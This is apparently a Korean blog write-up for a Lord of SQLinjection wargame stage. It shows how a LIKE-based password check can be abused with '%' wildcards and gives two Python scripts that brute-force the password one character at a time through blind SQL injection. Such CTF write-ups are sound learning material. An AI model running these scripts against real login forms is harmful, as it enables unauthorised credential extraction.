pw 입력값에 적용된 필터링은 싱글쿼터가 들어갈 수 없다.

이전 문제들과의 차이점은 파라미터 = ?  이런식으로 들어가지 않고 where pw like [ ? ] 이 부분에 문제를 풀 수 있는 payload를 넣어야 한다.

일단 기본적인 sql 문법 like와 따라다니는 것은 '%' 라는 것을 잊지말 것.

pw=% 

이 경우에 hello guest 를 출력한다. 그러면 pw에 %는 반드시 포함한 후 힌트를 찾아야 한다.

%test ~~test 로 끝나는 단어
%test% 중간에 test가 포함되는 단어
test% test~~~ 로 시작하는 단어

위 3가지 조건을 통해 pw를 찾아야 한다.

1) %test : test로 끝나는 단어는 앞에 무한대로 길어질 수 있기 때문에 시간상 오래걸린다.

2) %test% : 처음 접근시 test가 포함되는 단어를 하나씩 찾을 수 있긴 하지만, 이 단어들을 하나씩 조합해봐야 하기 때문에 시간 소요가 1번보다 적지만 없다고 할 수 없다.

3) test%  : 가장 효율적인 방법이 맨 앞에서부터 차근차근 pw를 찾으면 빠를 것 같다.

 

먼저, 2번으로 접근해보았다.

import requests

url ="" #공격URL
cookies ={"PHPSESSID": ""} #쿠키값

    

for j in range(48, 122):  #아스키코드값 48번부터 122번   
    payload = chr(j)
    value = "%"+payload+"%".format(j)           #injection payload 
    parmas = {'pw':value}
    response = requests.get(url, params=parmas, cookies=cookies)
    

    if "Hello guest" in response.text:       
        print(chr(j))    #chr(): 아스키코드값 -> 문자
    

print(chr(48))

%(문자)% 로 pw에 들어가는 문자를 먼저 찾았다.

숫자는 0,1,2,9가 들어가고 문자는 DEF(def) 가 들어가는 것 같다.

뭐 몇 개 안되니 일일히 하나씩 넣어봐도 되지만 시간이 걸릴 것 같으니 3번 방법을 써보도록 한다.

# LOS
# STEP 13 bugbear
import requests

url ="" #공격URL
cookies ={"PHPSESSID": ""} #쿠키값
payload=""
check=0

while 1:

    for num in range(48,122):
        tmp = payload + chr(num)+'%'  #9% -> 90% -> 902%
        params = {'pw': tmp}

        response = requests.get(url, params=params, cookies=cookies)

        if ("Hello admin" in  response.text):
            payload = payload +chr(num) #9 -> 90 -> 902 (한글자씩 쌓기)
            print(">> " ,payload)
            check = 1

        if ("Hello guest" in  response.text):
            payload = payload +chr(num)
            print("pw: " ,payload)
            break

    if check == 1:    #찾으면 종료
        break

(문자)%는 맨 앞글자 하나씩 붙어가면서 전체 pw를 찾기 때문에 훨씬 수월하게 pw를 찾을 수 있다.

pw=902% 까지만 찾아도 문제가 풀린다. pw의 전문을 다 안 찾아도 되는 듯

 

solve!!!!!

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step17. zombie_assassin 풀이  (0) 2023.06.14
[LOS] step16. SUCCUBUS 풀이  (0) 2023.06.14
[LOS] step14. giant 풀이  (0) 2023.06.13
[LOS] step13. BUGBEAR 풀이  (0) 2023.06.13
[LOS] step12. darkknight 풀이  (1) 2023.06.13

+ Recent posts